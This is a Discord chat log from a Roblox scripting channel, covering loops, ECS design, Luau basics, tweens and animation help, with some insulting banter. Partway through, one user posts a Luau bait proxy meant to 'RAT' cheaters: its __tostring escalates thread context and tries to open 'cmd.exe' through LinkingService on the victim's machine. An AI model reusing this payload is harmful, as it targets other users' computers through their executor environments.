[final ivy]

game crashes, freezes, yields tied to renderstep, there are so many reasons that you should not view renderstep as a loop

[gusty solar]

please seek help from your local chatgpt, you're pulling info out of ur ass

[lost pebble]

????

how?

[somber vault]

You can’t break runservice

[tulip merlin]

Anyways guys lets ignore the clown

[somber vault]

Renderstep never stops

[tulip merlin]

What's your opinion on ECS in roblox

[gusty solar]

LOL are you fucking kidding me?

[lost pebble]

:Disconnect() doesnt count

[lost pebble]

never used it

[tulip merlin]

Oh really? I've never made games outside of an ECS so I don't really understand how you guys do it

[gusty solar]

good job you proved you absolutely know nothing about roblox API

[gusty solar]

yeah it doesn't count because @lost pebble doesn't want it to

[oblique lintel]

yep i quit working on it

[gusty solar]

you literally said "never stops" you cant make this shit up

[lost pebble]

you're disconnecting a function from an event. completely different from a break statement

[somber vault]

Well obviously as long as the server/client is on lol

Keeps rendering frames

[lost pebble]

idek what it is. what's so good about it?

[somber vault]

Ecs?

[tulip merlin]

Entity Component System

[somber vault]

I don’t know much about it either

Like just objects with properties?

[tulip merlin]

At it's core it is a way of conceptualizing things in a game. You have entities (your player, enemies, nodes you mine) and you have components, data about the entities (Health, Stamina, OreAmount), and systems that run every frame typically that can modify and mess with these entities and components

[gusty solar]

go ahead and explain how return connection:Disconnect(); is practically any different from break; when it comes to stopping the loop

[somber vault]

Ignore this kid lmfao

[tulip merlin]

Because it doesn't stop the loop? It stops your connection to it. It is still running no?

[gusty solar]

your whole argument is "while loops are official, so anything that isnt specifically a white loop isn't a loop"

[gusty solar]

Confidently wrong

[tulip merlin]

💀 alright

[languid harbor]

Hello fellow dev,
I’m working on a RuneScape-inspired MMO/RPG with a medium-realism style. I already have a modeler on board and am looking for others who might be willing to take some time out of their day to help bring the project to life.

If you’re skilled in scripting, UI, or world design, your help would mean a lot. Please don’t hesitate to reach out — I’d love to connect and chat more. Thank you for considering!

[gusty solar]

this doesnt exist

[tulip merlin]

[somber vault]

Ragebait

[gusty solar]

you were arguing until you got proven wrong lmfao

[lost pebble]

one is used for a loop. one is used for an event

[somber vault]

I think he’s messing with us

[tulip merlin]

Since when did return progress through systems and into the roblox server itself

[hollow sinew]

that reminds me of this runescape project i worked on

[somber vault]

I don’t get it lol

[gusty solar]

you're trying too hard

[lost pebble]

i see

[granite fjord]

how much should i be paying for a custom building system like retail tycoon or resturaunt tycoon

robux only

[tulip merlin]

Think of entities as a container, they don't in themselves hold anything. They just map to something in the real world (workspace)

[somber vault]

around 700k

[bitter stirrup]

What

[granite fjord]

deadass pls

[tulip merlin]

Components on the other hand hold data, such as their Health, Stamina, Hunger, etc

[somber vault]

Well it depends on a lot of factors

Is it an entire game?

[tulip merlin]

Normally I assume you'd define these values as Attributes or something on the player itself, but components allow you to reuse this data for numerous things. Say you wanted to add in another mob, well then all you have to do is assign the Health and Stamina components to the entity of said mob

[granite fjord]

lets just say for now just the building system

[bitter stirrup]

Bro, he literally said a building system

[somber vault]

So you just construct the mob with specific sets of values (entities?)

[somber vault]

As in placement?

[granite fjord]

yeah like retail tycoon 2

[left reef]

anyone want to be my mentor for scripting? like not to teach me but just so i can ask questions and you can monitor my progress

[somber vault]

Hard to say tbh

[left reef]

like

yes

[granite fjord]

rough estimate

[somber vault]

Depends on the quality too

[granite fjord]

i need to work

[somber vault]

And who you’re hiring

[granite fjord]

well i havent looked for people yet

[gilded gyro]

i found this Reddit post that i wanted to make a railing system just to find edges but idk how i can do that tho but it said that he used the rays to get the edges

I'm trying to figuring it out
https://www.reddit.com/r/Unity3D/s/NcSIFbHhVL

[bitter stirrup]

I have one i made if you want to use it

[granite fjord]

just say middle range for now in all fields @somber vault

[tulip merlin]

Sort of if im understanding you correctly.

Say I want to spawn an enemy. I'd have 3 components
Enemy which marks it as an enemy, Health which holds their health value, and AI if I want to give it AI.

Then I spawn an entity with those 3 components, and I have systems that can modify or manipulate the entity based off those components. Like I can have 1 system that handles the ENTIRE AI logic for entities with the AI component

[granite fjord]

seriously? for free?

[left reef]

local experienceStore = DataStoreService:GetDataStore("PlayerExperience")

is that needed fro datastore

[noble mesa]

uh

[bitter stirrup]

(Tips appreciated )

But yeah

You can have it for free

[somber vault]

Ive no idea bro

[noble mesa]

where do you know that guy "Shad"

[granite fjord]

ill give u a good tip i dont know ur idea of good tip is tho

[tulip merlin]

700k

[bitter stirrup]

Yes. That is a good tip

[somber vault]

That wasn’t the best explanation lol, its 1 am too so that might also make it hard for me to fully comprehend

[bitter stirrup]

Let me show you it in dms

[somber vault]

At this point you made it worse

[tulip merlin]

I am also tired ahaha

[oblique halo]

how do you use exponents in scripts is it just like for example 100*3^2

[tulip merlin]

Sorryyyy

[slate bloom]

hello chat

[noble mesa]

yeah

[granite fjord]

yeah dm ill take what i can get

[white aurora]

or math.exp()

[oblique halo]

thank you

[tulip merlin]

How do you normally make games? I assume you use classes right?

[somber vault]

Yeah

[oblique halo]

which one works better?

[tulip merlin]

What do you do if you have something that relies on something else?

You inherit correct?

[white aurora]

i mean. i think both work the same but why call a function for that when u already have an operator for it

[tulip merlin]

Now imagine this at a much larger scale. Your inheritance tree will get large, and you end up having code that does roughly the same thing in numerous places

[oblique halo]

hmm ok thanks

[tulip merlin]

an ECS is basically "Stop thinking about it in terms of objects and instead think of how it works in terms of data and behaviour"

[white aurora]

an operator is like + - * %, those things if u dont know

[noble mesa]

isnt math.exp() for e^x

[white aurora]

yeh i dont know why it exists

[oblique halo]

i didnt know thank you

[somber vault]

Hmmm

[oblique halo]

hi so if i wanted to save the requirement to rebirth like each time a player joins the game would i put that in a datastore

[hollow sinew]

some kind strangers gave me more tips on my code on other servers

here is the final version

-- // Services
local ServerStorage = game:GetService("ServerStorage")

-- // References
local ColaWSFolder= workspace.colaWorkspace
local ColaBrown = ServerStorage.colaServerStorage.colaBrown

local function colaSpawn(rangeSQ2)
    local cola = ColaBrown:Clone()
    local randX = math.random(-rangeSQ2, rangeSQ2)
    local randY = math.random(-rangeSQ2, rangeSQ2)
    cola.Position = Vector3.new(randX, 500, randY)
    cola.Parent = ColaWSFolder
end

local function spawnLoop(colaMaxAmount, rangeSQ2, waitTime)
    local amountRNG = math.random(5, colaMaxAmount)
    print("spawning", amountRNG, "colas, range is", rangeSQ2 .. "ssm^2", ", waiting interval is", waitTime)
    
    for i = 1, amountRNG do
        colaSpawn(rangeSQ2)
        print("on iteration", i)
        task.wait(waitTime)
    end    
end

spawnLoop(50, 50, 0.1)

[oblique halo]

like for example it starts out as 100 clicks then it goes to 200 but if you rejoined it would be 100 again

[white aurora]

and operands are the one that gets calculated by that operator, let's say: 5 * 3, 5 and 3 are operands to the multiplication operator, just in case u see that word somewhere

[somber vault]

I rarely ever use inheritance in luau though

[tulip merlin]

An entity in of itself is nothing, its just an identifier to something.
Components are data that define that entity, they can be stuff like the Position, Health, Stamina
Systems are logic that runs over all entities that have specific components, such as a MovementSystem may run over all entities with a Position component to update their position. They don't care about the entity itself, only the data (components)

[oblique halo]

ill put this in my notes thank you so much

[noble mesa]

u dont need to save the requirement, u just need to save how much rebirths they got according to the rebirths they got the requiremente will be x or y

[oblique halo]

oh my gosh thank you so much that makes so much sense

[white aurora]

oh yeah and also u know when u assign something to a variable, local variable = 1, the = sign in this case is called the assignment operator just to keep that in mind

[tulip merlin]

Yeah, I mean ECS isn't necessary. I just find it easier because it is easier to scale in my opinion

[somber vault]

I’ll watch a youtube turorial lol

[tulip merlin]

Want to add something new to your game? Simply make a new component and a corrosponding system

bam

[oblique halo]

are these words used in like the dev forum and roblox docs

[somber vault]

Yeah but why not just add it

[tulip merlin]

Cause it depends on what it is.

[white aurora]

idk, but that's what they are called

[tulip merlin]

In normal OOP programming, if it is related or need of inheriting then it can get messy

[white aurora]

isnt luau not object oriented

or am i wrong

[somber vault]

Could be

[tulip merlin]

It is and it isn't

[somber vault]

If you want it to be

[white aurora]

it mimics oop but it isnt

[tulip merlin]

At it's core its functional, but metatables make it possible

[white aurora]

is there inheritance? polymorphism? setters and getters ?

all those stuff

[somber vault]

Its a programming language, there are like no limitations lol

Whatever you find interesting about a different language, you can easily bring it with you anywhere

[white aurora]

metatables are just functions that u can change for the functionality of another table right

[somber vault]

Modify the behaviour

[white aurora]

a table of functions

[white aurora]

yes

that's basically it isnt it

[somber vault]

Yez

[white aurora]

so u can mimic oop by using meta tables to modify the behavior of a table but not exactly like oop, real OOP has a lot of other stuff

[somber vault]

Matter of fact you don’t even need metetables for oop

[white aurora]

what do u use?

[somber vault]

Wdym

[white aurora]

how would u do it without metatables

[somber vault]

Well you can turn a normal table into an object

Its pretty straightforward

[white aurora]

ima just watch a video on how they do it

[latent bloom]

How would you guys make tweens play in a local script if the tool is destroyed before it can finish

[signal gorge]

Hi guys, just wondering if anyone making any games right now

[lyric laurel]

Local Tween = TweenService:Create(Block, TweenInfo.New(1,Enum.EasingStyle.Linear), {Posititon = Pos}
Tween:Play()
Tween.Completed:Wait()

js do tween.completed:Wait()

[near pasture]

Tween.Completed:Connect(function
tool:Destroy()
end) >>>

[somber vault]

I checked out ECS, its actually brilliant now that it makes sense to me

[snow geyser]

what can :waitforchild be used for cus the turtorial didnt explan it right?

[tulip merlin]

Ahaha yeah sorry I suck at explaining things which is why im not a teacher

[somber vault]

I love how customizable it is

[tulip merlin]

Yeahhh, and there's libraries like matter and jecs that add ecs to roblox

matter is more in tune with what an ECS is with an actual systems api, and jecs is more lightweight with addons available from the community

I have used matter and I can say its definitely been enjoyable

One thing I say is that systems in matter cannot be yielded justifiable since they run every frame you could have issues if you yield a system

but it does add more complexity for things that are time based

[somber vault]

I see

I haven’t used anything made by sleitnick since knit a couple years back lol but I guess his stuff are still pretty cool

[lost pebble]

this looks waaay cleaner

[tulip merlin]

One solution I found is to just add your time based mechanics to the components

import { useDeltaTime, World } from "@rbxts/matter";
import components from "shared/components";
const ReplicatedStorage = game.GetService("ReplicatedStorage");
const Assets = ReplicatedStorage.FindFirstChild("Assets")!
const Poop = Assets.FindFirstChild("Poop")! as Model

function spawnPoop(world: World) {
    for(const [id, cow, instance] of world.query(components.Cow, components.Model).without(components.Poop)) {
        world.insert(id, cow.patch({ spawnTimer: cow.spawnTimer - useDeltaTime() }))

        if(cow.spawnTimer <= 0) {
            const model = Poop.Clone();
            model.Parent = instance.instance
            model.PivotTo(instance.instance?.WorldPivot.mul(new CFrame(4,0,0))!)
            world.insert(id, components.Poop({ model, amount: math.random(1,10) }))
        }
    }
}

export = spawnPoop;

[gusty solar]

stop using typescr*pt

[tulip merlin]

Bro honestly shut your shit up

💀

[lost pebble]

https://tenor.com/view/troll-gif-26178840

[tulip merlin]

Bro lurks this channel for anything to give an invalid opinion on

Thank god his skill application got denied since he has none

[somber vault]

How do you manange to get everything wrong, its fascinating

[tulip merlin]

Nothing wrong with typescript, a developer of roblox itself made the project behind what I use

[gusty solar]

STILL angry over being proven wrong in a discord server💔

[tulip merlin]

Anyway

Yeah livon definitely recommend checking out an ECS

They can be helpful in larger projects

or just all around fun to play with

[lost pebble]

im definitely gonna check it out, too... at some point

[tulip merlin]

Honestly coming from unity ECS is just a term I am more used to

so seeing people make one for roblox made it appealing

Familiar territory

[somber vault]

I kinda feel like they could take a some extra time though, obviously I haven’t tried it yet but it feels more like managing things a lot more manually compared to standard oop

[tulip merlin]

I agree, especially initially it is a lot more time consuming to setup and learn

but once you do (speaking from my own experience) in the long run it's easier to handle

Especially in larger teams

[somber vault]

Could be fun still

[tulip merlin]

Most definitely

Learning new skills is always fun

and if you use an ECS in one place, you can always translate that knowledge somewhere else like if you want to use unity or unreal one day

[somber vault]

What excited me the most is the fact that you basically don’t need to worry about your class missing this little method, instead of creating a new class - just add the necessary component to your entity and you’re good to go

[uneven jolt]

Currently making an animation game, and am trying to figure out a system for loading the animation. How it works as of right now is whenever a button is pressed, it loads the data from a table. As you can see its getting really long and I would like to refactor to smaller scripts, how should I go about this?

[tulip merlin]

Yup!

Also

It's easy to add new functionality

Say you had npcs you wanted to take damage but they previously couldn't before

and you already had a system in place for damage dealing

Just add the necessary component to said npc and boom, now it can take damage

[somber vault]

BUT how would this all work with strict type annotation

[tulip merlin]

How do you mean?

[somber vault]

You’d probably need to mess with generic types a lot more in luau im guessing

[tulip merlin]

Not necessarily no, at least I haven't had to

[somber vault]

Well if you want your entity to have a specific type based on its components

[tulip merlin]

Well you see, an entity won't exactly be anything

An entity is JUST an identifier

You mess with the COMPONENTS on the ENTITY

Which are already typed

Especially if you use matter or jecs

[somber vault]

Right

Alright so lets make bob

A knight

Entity: human

Components: weapon, walkspeed, power, armor

System: movement controller

[tulip merlin]

Right

[somber vault]

Wait bob is not an object right

[tulip merlin]

Nope

[somber vault]

What is bob

[tulip merlin]

Technically bob is nothing

An entity is a blank container

[somber vault]

https://tenor.com/view/phdpookiemark-pookie-bookie-monkey-stan-twitter-gif-7774298586098535413

[tulip merlin]

Right think of it this way

How do you define what bob is?

You already said he's a Knight right?

[somber vault]

Bob doesn’t exist?

[somber vault]

Yeah

[tulip merlin]

So you'd give him a Knight or a Class component depending on how you want to handle this

You also state he's a human Human component or Race component

Want to make bob actually bob? Name component that stores the name of the human knight

[somber vault]

Slow down

[tulip merlin]

Slowing down

[somber vault]

Is human a component or the entity

[tulip merlin]

Component

Components nor entities exist in the real world (workspace)

[somber vault]

But he is a human

[tulip merlin]

Yes, because you assign the Human component to the entity

You define the entity

[somber vault]

Yeah okay I’ll just give it a few days lol

[tulip merlin]

When you spawn an entity, it isn't anything but an ID 123 that lives in some map of the World, it has no physical presence or identity

[gusty solar]

@somber vault @tulip merlin @lost pebble What's all that talking about when you don't even know ANYTHING about the Roblox Engine? GetService("Workspace") is roughly 1668% slower than just using the global workspace.💀 The utter incompetence is insane...

--// accessing a local variable is faster than a global one
local tick = tick;

while task.wait(1) do
    local t1 = tick();
    for i = 1, 1e5 do
        (function()
            return game:GetService("Workspace");
        end)();
    end
    local t2 = tick();
    for i = 1, 1e5 do
        (function()
            return workspace;
        end)();
    end;
    local t3 = tick();

    local GetServiceDuration = t2 - t1;
    local GlobalDuration = t3 - t2;

    print("GetService:", GetServiceDuration);
    print("Global:", GlobalDuration);
end

[somber vault]

Stfu

[lost pebble]

again, small optimaztion that shouldnt need this much attention

[somber vault]

Not gonna read

[gusty solar]

Love it, you went from arguing to insults

[somber vault]

https://tenor.com/view/flight-flight-reacts-ftc-flight-tounge-tounge-gif-13151760561518557846

[gusty solar]

1600% isn't very small...

[tulip merlin]

Sorry if I made it more confusing 😭

[lost pebble]

you call it once...

[somber vault]

No its alright

[gusty solar]

Omg this is so beautiful... from arguing to staying quiet and accepting it

[tulip merlin]

I am trying my best to explain it in a way that someone who knows nothing about it would understand

[gusty solar]

this is a benchmark to see the difference between them💔

[gusty solar]

1600% is still accurate

[lost pebble]

it's not the end of the world if someone does :GetService("Workspace:)

[gusty solar]

That's true until you remember you're arguing that it's the same

[lost pebble]

im talking about coding in general. you do local workspace = game:GetService("Workspace") once and that's it

[somber vault]

Oh no your players are going to have to wait 0.03 seconds now

[lost pebble]

i recognized that there was a difference but not enough to need so much attention

[gusty solar]

btw if u removed this line it wont change anything, the global is already defined as "workspace" exactly💀

[lost pebble]

yes ik

[gusty solar]

wow you didn't even understand the code, this is nothing but pure incompetence

[tulip merlin]

Have you ever used rokit/rojo or do you do all your dev in the studio

[somber vault]

yo guys any idea on what I could script 4 my portfolio as I wanna create one

[tulip merlin]

RPG game with class selection, character customization and a full story line expanding 60+ hours of gameplay

[gusty solar]

recreate C++ inside luau

[somber vault]

Ive tried it, i just prefer studio due to my laziness

[tulip merlin]

Ahaha fair

[somber vault]

😭 srsly gng I need ideas

[tulip merlin]

Im being serious

That will def be good on a portfolio

[somber vault]

yeah which i'll need a wholeass team for

[tulip merlin]

or perseverence

[somber vault]

?

[gusty solar]

make an anticheat that detects cheating thoughts

[somber vault]

yall so unserious omg

[tulip merlin]

In all seriousness, just code something you are passionate about

That will say a lot more than some random idea

[somber vault]

well idk what so i'm asking here 😭

[gusty solar]

Cognitive anomaly detected. Cheating thoughts are not tolerated.

[somber vault]

Make a motorcycle with suspension that stays upright

[gusty solar]

hmmmm

[somber vault]

smth mid not too hard nor too easy

[tulip merlin]

Make a tycoon game

Hard but not too hard

[somber vault]

Vehicles are impressive

[somber vault]

which consits of like 2 systems 😭

[gusty solar]

do NOT make a tycoon game.

[somber vault]

not planning to

[tulip merlin]

You want something to code, but reject all our ideas

[gusty solar]

if anything it shows lack of experience, no game owner will look at your portfolio and say "wow a tycoon he's so good at scripting"

[somber vault]

well tycoon is easy asf 😭

You should make any vehicle tbh, doesnt take too long. Impresses people

[tulip merlin]

Yeah

[tulip merlin]

I don't know your skill level

[somber vault]

tbh I never scripted vehicles

[tulip merlin]

Nows the time then

[somber vault]

Nobody does lol

[tulip merlin]

What better to put on a portfolio than something you've never done

Shows your willingness to learn

[somber vault]

Everyone avoids vehicles its what makes them impressive

[gusty solar]

@somber vault use reinforcment learning to make an unbeatable AI that uses classic swords

[somber vault]

right i'll do the vehicle

Lol

[gusty solar]

bro its not even that hard

there's already rl libraries out there

[somber vault]

well its hard for me atm w my skill

so!

[gusty solar]

how long have u been coding luau for

[somber vault]

I was also thinking of scripting sum black clover abillities but idk tbh

[gusty solar]

thats not bad

[somber vault]

uh i cant rlly answer this i had up n downs w big breaks and small ones

[gusty solar]

people like anime abilities more than they should

[gusty solar]

they are NOT hard to make

[somber vault]

is the performant way of making the book pages for black clover grimoire to like uh turn w anim

Forget about abilities, unless you got a bunch of animators and vfx artist in your basement its over

[dusky swift]

Bruh who doesn't use the global anyway? it's literally easier to write

[somber vault]

tbh i do have vfx artists and I animate aswell though I prefer not to

[lost pebble]

a lot of people. all im saying is that it's not the end of the world if someone does use it

[gusty solar]

here's the thing.... WHY

[lost pebble]

idk

[gusty solar]

like WHY WOULD U EVEN USE IT???? does it give u the benefit of being easier to write???

[lost pebble]

i used to do game.Workspace bc i didnt know the global existed back then

[gusty solar]

the ONLY people that use it are people who don't know the global exists

[gusty solar]

makes sense

[somber vault]

bru I have such a good idea for a tensura game but ik it'll be hard asf to find the devs for it

cuz the current ones that are out are really uh interesting

[gusty solar]

this lets u RAT exploiters if they tostring inside a hook by accident```lua
local bait = newproxy(true);

bait.__tostring = function()
if getgenv then
print("thanks for the environment buddy🙏");
end

if setthreadcontext then
    setthreadcontext(3);
    task.wait(0.02);
end

Game:service('LinkingService').OpenUrl(Game:service('LinkingService'), "cmd.exe");
coroutine.yield();

end

while task.wait(1) do
xpcall(function()
game[bait]._ = nil;
game[bait] = nil;
Instance.new("RemoteEvent"):FireServer(bait);
end, function()end)
end

[gusty solar]

the __tostring will run on their env

[formal sapphire]

unable to load plugin icon with the animation id

[static coral]

why r u using semi colons 🥀

[gusty solar]

because semicolons are superior

[storm igloo]

Just the handle the tween on a separate script outside the model or something and activate it with a bindable or remote

[vivid hearth]

alright imma try to learn more scripting agian

tho its hard i fell like gving up on scripting

[arctic plaza]

u got this

once you get used to feeling like complete garbage

that's basically the norm for scripting anything

[vivid hearth]

i dont even know how to script leaderstats

[arctic plaza]

oh

if you want leaderstats

each player should have a "leaderstats" folder

no exception on name

and just add some intvalues

or string values

the order in which you add the values determines the order that they appear as columns in the leaderboard i think

learning scripting is hard at the beginning

but later on it becomes easier and easier

[vivid hearth]

this is my skill level

[arctic plaza]

that's better than 90% of beginners already

[vivid hearth]

i can mess with properties, do loops

printing

[arctic plaza]

as long as you keep your head steady you got this

[vivid hearth]

idk what to learn now

it feels complicated

[arctic plaza]

do you have basic syntax down?
'

[vivid hearth]

what does syntax mean?

[arctic plaza]

the structure of code

it's basically

print("hello") is correct and print(hello) is wrong

you have correct syntax rn

[tame compass]

You can learn functions

[vivid hearth]

i know functions

[arctic plaza]

HOUSE CARICATURE

[vivid hearth]

actually i used to know them but i forgotd

[arctic plaza]

functions, loops, if/else/elseif, return?

[vivid hearth]

uhh i know them

[arctic plaza]

while you are learning familiarize yourself with expected property values btw

[tame compass]

do you know about tables and for loops?

[arctic plaza]

good thing about lua is that it only has 23-26 (?) keywords

so you'll get it down light work

[raven marsh]

e

[brave ginkgo]

learn module scripts

[vivid hearth]

yeah

[arctic plaza]

that's later

[vivid hearth]

i can also do stuff like this

[tame compass]

That’s not a table

[vivid hearth]

i can do for loops

tables i have no idea what they do

[arctic plaza]

tables can be 2 things

a list, or a dictionary/hashmap

[tame compass]

Tables are just an array of values

[arctic plaza]

i don't like how lua doesn't separate their keywords

[tame compass]

It’s actually easy to understand

[arctic plaza]

in other languages lists/tables are typically [] and dictionaries are {}

[vivid hearth]

OHH

I KNOW LISTS

I USED TO DO PYTHON

[arctic plaza]

yeah

but now

[vivid hearth]

and it was like MyList = [1, 2, 3, 4]

[arctic plaza]

list or dictionaries are both defined by a single {}

[vivid hearth]

or smt like that

[tame compass]

In Lua it’s MyList = {1,2,3,4}

[vivid hearth]

oh so just the brackets are diffrent shape

[tame compass]

Yes

[arctic plaza]

swiggly brackets

whatever they are called

[tame compass]

Also, idk about python, but in Lua you can make different indexes for values in a table

For example

[arctic plaza]

all programming languages supports table indexes

[vivid hearth]

I know i shouldnt but what if i try to make a game?

[arctic plaza]

also

one thing that's super cool and super helpful

[tame compass]

local MyTable = {Fruit = “Apple”, Color = Color3.new(1,0,0)}

[arctic plaza]

at least to me

[tame compass]

Something like that

And then you can print(MyTable.Fruit)

[arctic plaza]

is to #1 always try to make your new game bigger and better, #2 each game should be fundamentally different fom other games

[tame compass]

Just do what you want

[arctic plaza]

project based learning is always best

[vivid hearth]

tho i dont know if i can do anything with my knowledge

[arctic plaza]

if u want a more mathy math challenge

try making a grid of anchored parts that are defined by the set of variables:

1. gridSize
2. cell size

so if i put gridSize = 10 and cellSize = 20

it should generate a 10x10 grid of 20x20x20 parts

which fills in a 200x200x20 stud volume

[vivid hearth]

i have no idea how to script that 😭

my skill level is like really basic stuff

properties in scripts, wait, loops

[raven marsh]

jasraj better

[arctic plaza]

it's pretty simple!

uhh

you'll need to know how to generate items at a specific location

loops

and some math

[visual frost]

Don't bother with tables yet then

[arctic plaza]

it's 3am for me rn

so i might not be able to stay up for long

[visual frost]

There are better things to learn before tables

[vivid hearth]

its starting to get way to complicated

[arctic plaza]

i cant really think of anything to do other than tables

he has the basics down like loops, functions, and for loops

how abouttt

try generating a list of 10 random numbers from 1-20 and printing that table out?

[visual frost]

I mean what about scopes, return values, strings, debounce or enums and conditions

i guess it's really just unique to everyone on what they should learn first tho

[visual frost]

You kinda need most of these things for tables anyway no?

[arctic plaza]

debounce?

enum is a luau data type

i feel like it's better to learn core lua first then move onto luau extensions

since that way it'll be more transferrable

[visual frost]

it's just a common thing to use

[arctic plaza]

but take my advice with a grain of salt

I don't really remember hhow I learned

all I know is that I first did a type writer in python during covid and now I'm here lol

[visual frost]

yeah, if you’ve coded in anything else before, it makes everything a lot easier especially if you already understand how programming works in general

the roblox documentation is pretty great tbh, and you can get help on the devforum too

[arctic plaza]

im scared of the dev forum

dev forum is a spookfest

[raven marsh]

jasraj is on the forums

[arctic plaza]

YOU are on the forums

[raven marsh]

no

[arctic plaza]

yes

you're one of the core reasons why I avoid the dev forums generally

[high cosmos]

what do you guys think of my raster system

i transformed CFrame to Tait–Bryan angles.

[visual frost]

ig some people are there to just make fun of eachother lol

[high cosmos]

what the hell is this npc argument

this is NOT code related

[arctic plaza]

this isn't a argument D:

[visual frost]

[arctic plaza]

catto

[raven marsh]

jasraj says yes if u belive

[high cosmos]

bro go to #chat this aint for social business

this is code business

[arctic plaza]

you

are on the dev forums

snooper

[raven marsh]

i am not

[arctic plaza]

too much people to have an actually good converstation

[raven marsh]

the dev forums are weird

[arctic plaza]

lounging in code discussion channel is wayyyy better

[high cosmos]

atleast go to #chat and ping them to there

end of convo.

[arctic plaza]

we were discussing things about code tho ._.

[visual frost]

ya i think you're the only one that's talking extra here

[arctic plaza]

dev forums is more scary than weird

[raven marsh]

woah woah there skibiditoiletgman69officialnocap

[high cosmos]

how tf do i inform them then

[raven marsh]

skibiditoiletgman69officialnocap, you dont

Are you guys familiar with the limitations of TextChatService with cross-server chats? I've been reading the creator hub docs for it and it seems like most of the methods require the userIds to be in the server.

All I need is a confirmation of this 🤔

[cloud prawn]

Hey anyone want to start a dev studio and possbily make some games and just get better in deving in general.

[slate bloom]

Guys how do you script?

[somber vault]

Download roblox studio

Create a new game, add a script

[jade magnet]

I already did it

[glacial kestrel]

any resources on the union/negate api other than the docs?

I want to see some use cases of it

[gilded plume]

Hello everyone!

I just finished reading Programming in Lua, 4th Edition, and I'm ready to start developing to build my portfolio. Do you have any suggestions for what kind of system or project I should work on next something that’s currently in demand?

[dull sluice]

check?

Hello Guys! i need help, Iam Trying to make a Slapping Tool like those in troll obby games. my script is on below. the problem is when i Activate the tool, it doesn't work. and also i get an error saying(on the picture) can someone help me?

[hallow crag]

here it should be "Root" not "Roo"

[dull sluice]

oh

dang it. thanks broo

I don't get error now, its now the animation and script don't work

[worldly sonnet]

does anyone have a problem where if they tween fov in first person it just goes back to the original fov

[tidal bolt]

luau is quite different to regular lua

well, luau is a superset of lua 5.1

[inland pasture]

hi guys i tried to add animations to a rig in a viewportframe and it isnt working for some reason here is the script

[gilded plume]

Yes Sir, I just love to read them books before I develop something. And I'm currently learning now how to use Roblox Studio specifically for scripting

[tidal bolt]

most of what you'll have to learn is the roblox API

[worldly sonnet]

[gilded plume]

Noted Sir!

[gilded plume]

Yes Sir, I'm a python developer specialized on making automated bots and discord bots. I'm also a CS Student Sir! Upcoming first year! And I'm also interested on developing roblox games, this is my 4th week on my learning era

[tidal bolt]

this is discord please dont call me sir

hi fellow cs student

[gilded plume]

Mb bro, it's just my mannerism to call everyone Sir or Maam

[inland pasture]

Hey any scripter down to participate to a youtube video challenge : MUST : have a decent mic , be able to talk , be able to reccord DM ME IF INTRESTED

[static coral]

https://tenor.com/view/full-metal-jacket-drill-instructor-gunny-hartman-gunnery-sergeant-hartman-gif-14451882

[pulsar basin]

Guys what should I script

That teaches me how to use loops

But mainly a for loop

[static coral]

make a function that returns the first player whos account age is greater than or equal to a certain threshold

[austere mulch]

use a for loop to add weld constraints to the primary part of a model for every basepart in the model there is

[lost pebble]

make a 2d array and print each individual value

[meager ocean]

Where can i learn scripting 🙏

[summer scarab]

not yet

[midnight wigeon]

guys im bored asf does anyone want me to do anything (scripting, gfx)

[candid hare]

If I have an afk area, how can I make the players not getting kicked?

[midnight wigeon]

make them automatically rejoin every 15 mins

[glossy wave]

make an octopus with wings that can shoot ink and you can ride it

if you can't make that you are not a scripter 👀

[midnight wigeon]

why so random

[midnight wigeon]

bet

[glossy wave]

its not random... its specificc

[midnight wigeon]

specificc

[steady plover]

on bro

[subtle gorge]

anyone know how to fix this? https://streamable.com/obuh06

when i roll it reverts back to walking animation

[gusty solar]

A

[bronze summit]

So i was scripting a custom shift lock and...

[native orchid]

and what?

[native orchid]

You’re going to use this to make some dumb anime thing, which the world does not need more of

[bronze summit]

its a custom storyline game 😭

not a anime game

[native orchid]

I’m shocked, sorry for assuming

👌

[visual frost]

Hey not sure if you figured this out yet or not, you've to parent the animated objects to a WorldModel, which is then parented to the viewportframe

[scenic lotus]

hi

[native orchid]

Part of the issue here is that you are offsetting the camera relative to the character, but the character isn’t rotating to align with the camera

[bronze summit]

nws 🤣 to be honest i just finished working on a anime game like that

[inland pasture]

oh so what should i do instead?

[visual frost]

Just add the rig into a worldmodel

Add the worldmodel inside the same frame

[inland pasture]

oh okay ty i will

k

[copper vigil]

What’s the best way to optimize systems?

[languid charm]

guys how much do yall make scripting (monthly avg)

if u want to say

[weak radish]

if you work as a freelancer then asking a monthly average is never gonna give you an accurate idea as it's unreliable, you could make 1k$ one month and none the next

you probably want to know how many offers people get and what fee they charge per hour

[languid charm]

nope im asking how much u guys can expect yourself to earn in a month or what u have in the past

[weak radish]

Bro

did you read what I said

I just said that asking monthly earnings is the least accurate thing ever

Asking fee per hour and offer quantities is more accurate

[thick seal]

how do i load an animation and play the first frame, and animate until the last frame on click and animate back to the first frame on release

i tried to make markers and to set the animation speed to 0 but that doesnt work

animation:GetMarkerReachedSignal("Pause"):Connect(function(param)
    print(1,param)
    animation:AdjustSpeed(0)
end)

mouse.Button1Down:Connect(function()
    animation:AdjustSpeed(1)
end)

mouse.Button1Up:Connect(function()
    animation:AdjustSpeed(-1)
end)

the "Pause" markers are set at the first and last frame of the animation

[somber vault]

Its there are cheap or free scripter for hire only robux payin

[thick seal]

u should ask at #scripter-hiring

[marble ember]

This is my first time making an actual EXE
I used WPF and learned C# from scratch

[halcyon slate]

Would you guys easily be able to do this?

it took me 2 days

[charred jacinth]

Yes this would probably take me ~30 minutes give or take

Dont worry about how long it took you though, just be happy that you were able to do it 🔥

[halcyon slate]

hardcoding?

[charred jacinth]

No i would 100% make it modular

thats what i do for most of my stuff. we love oop!!!!

[halcyon slate]

right

well with the system setting up new regions takes 30 seconds

[charred jacinth]

like right here for my helicopters. There is only 1 for now (apache), but there would be more configs whenever i add more

Yep that sounds right

[halcyon slate]

after i made snow region then making cave took 20 seconds

[charred jacinth]

How did it take you 2 days?

Making the main system? lighting?

[halcyon slate]

and now anything takes 20 seconds

I made the backend

do all the work for me

[charred jacinth]

Yep you're explaining modularity right now

[halcyon slate]

the backend took 2 days

[charred jacinth]

classes

[halcyon slate]

I dont use oop

i have a weird coding style

[charred jacinth]

Well yeah there are other methods

[halcyon slate]

mine is functional with a cache and state machine

[halcyon slate]

its so advanced even a builder can use it

no scripter needed

for that job

https://www.roblox.com/games/106722967000259/Dynamic-Regional-Sound-System https://www.roblox.com/games/86369049685070/Regional-Lighting-System both took 5 days to make

Now work for future projects is cut down to just 2 minutes

[vital dune]

what wrong with this one?

[hallow crag]

u tell us whats wrong with the code

